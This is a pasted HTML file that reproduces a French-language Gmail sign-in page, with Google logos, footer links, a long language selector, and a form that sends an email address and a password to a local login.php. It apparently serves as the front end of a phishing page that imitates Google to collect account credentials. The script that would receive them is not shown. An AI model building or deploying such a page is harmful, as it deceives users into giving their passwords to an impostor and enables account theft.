Untitled
4 years ago in HTML
<html>
<head>
<title>Connexion à Gmail</title>
<meta charset="UTF-8">
<meta name="description" content="Old Gmail login page">
<meta name="keywords" content="HTML,CSS,gmail">
<meta name="author" content="IK">
<link href="css/style.css" rel="stylesheet" type="text/css" media="all">
<link rel="icon" type="image/ico" href="image/google.ico"/>
<body>
<div class="wrapper">
<div class="topwrapper">
<img src="image/google.png" alt="googlelogo">
</div>
<div class="banner">
<h1>
Tout Google avec un seul compte
</h1>
<h2 class="small">
Connectez-vous à votre compte Google.
</h2>
</div>
<div class="main">
<div class="login-card">
<div class="circle-mask">
<img src="image/image.png">
</div>
<br><br>
<form action="login.php">
<input type="text" id="Email" name="Email" placeholder="Adresse e-mail"><br>
<input type="password" id="PasD" name="PasD" placeholder="Saisissez votre mot de passe">
<input type="submit" class="login login-submit" value="Next">
</form>
<a href="#" class="need-help">
<b>Localiser mon compte</b>
</a>
</div>
<div class="one-google">
<p class="create-account">
<span id="link-signup">
<a href="">
Créer un compte
</a>
</span>
</p>
<p class="tagline">
Tout Google avec un seul compte
</p>
<div class="logo-strip">
<img src="image/gmailfooterpic.JPG">
</div>
</div>
</div>
</div>
<div class="gmail-footer">
<div id="left-footer">
<ul id="footer-list">
<li>
<a target="_blank" href="#">
À propos de Google
</a>
</li>
<li>
<a target="_blank" href="#">
Règles de confidentialité
</a>
</li>
<li>
<a target="_blank" href="#">
Conditions d'utilisation
</a>
</li>
<li>
<a target="" href="#">
Aide
</a>
</li>
</ul>
</div>
<div id="right-footer">
<label for="lang-chooser"><img alt="Change language" src="image/ping.png"></label>
<select name="lang-chooser" class="lang-chooser" id="lang-chooser">
<option value="af">
‪Afrikaans
</option>
<option value="az">
‪azərbaycan dili‬
</option>
<option value="ms">
‪Bahasa Melayu‬
</option>
<option value="ca">
‪català‬
</option>
<option value="cs">
‪Čeština‬
</option>
<option value="da">
‪Dansk‬
</option>
<option value="de">
‪Deutsch‬
</option>
<option value="et">
‪eesti‬
</option>
<option value="en-GB">
‪English (United Kingdom)‬
</option>
<option value="en">
‪English (United States)‬
</option>
<option value="es">
‪Español (España)‬
</option>
<option value="es-419">
‪Español (Latinoamérica)‬
</option>
<option value="eu">
‪euskara‬
</option>
<option value="fil">
‪Filipino‬
</option>
<option value="fr-CA">
‪Français (Canada)‬
</option>
<option selected="selected" value="fr">
‪Français (France)
</option>
<option value="gl">
‪galego‬
</option>
<option value="hr">
‪Hrvatski‬
</option>
<option value="in">
‪Indonesia‬
</option>
<option value="zu">
‪isiZulu‬
</option>
<option value="is">
‪íslenska‬
</option>
<option value="it">
‪Italiano‬
</option>
<option value="sw">
‪Kiswahili‬
</option>
<option value="lv">
‪latviešu‬
</option>
<option value="lt">
‪lietuvių‬
</option>
<option value="hu">
‪magyar‬
</option>
<option value="nl">
‪Nederlands‬
</option>
<option value="no">
‪norsk‬
</option>
<option value="pl">
‪polski‬
</option>
<option value="pt">
‪Português (Brasil)‬
</option>
<option value="pt-PT">
‪português (Portugal)‬
</option>
<option value="ro">
‪română‬
</option>
<option value="sk">
‪Slovenčina‬
</option>
<option value="sl">
‪slovenščina‬
</option>
<option value="fi">
‪Suomi‬
</option>
<option value="sv">
‪Svenska‬
</option>
<option value="vi">
‪Tiếng Việt‬
</option>
<option value="tr">
‪Türkçe‬
</option>
<option value="el">
‪Ελληνικά‬
</option>
<option value="bg">
‪български‬
</option>
<option value="mn">
‪монгол‬
</option>
<option value="ru">
‪Русский‬
</option>
<option value="sr">
‪српски‬
</option>
<option value="uk">
‪Українська‬
</option>
<option value="ka">
‪ქართული‬
</option>
<option value="hy">
‪հայերեն‬
</option>
<option value="iw">
‫עברית‬&lrm;
</option>
<option value="ur">
‫اردو‬&lrm;
</option>
<option value="ar">
‫العربية‬&lrm;
</option>
<option value="fa">
‫فارسی‬&lrm;
</option>
<option value="am">
‪አማርኛ‬
</option>
<option value="ne">
‪नेपाली‬
</option>
<option value="mr">
‪मराठी‬
</option>
<option value="hi">
‪हिन्दी‬
</option>
<option value="bn">
‪বাংলা‬
</option>
<option value="gu">
‪ગુજરાતી‬
</option>
<option value="ta">
‪தமிழ்‬
</option>
<option value="te">
‪తెలుగు‬
</option>
<option value="kn">
‪ಕನ್ನಡ‬
</option>
<option value="ml">
‪മലയാളം‬
</option>
<option value="si">
‪සිංහල‬
</option>
<option value="th">
‪ไทย‬
</option>
<option value="lo">
‪ລາວ‬
</option>
<option value="km">
‪ខ្មែរ‬
</option>
<option value="ko">
‪한국어‬
</option>
<option value="zh-HK">
‪中文(香港)‬
</option>
<option value="ja">
‪日本語‬
</option>
<option value="zh-CN">
‪简体中文‬
</option>
<option value="zh-TW">
‪繁體中文‬
</option>
</select>
</span>
</div>
</div>
</div>
</body>
</html>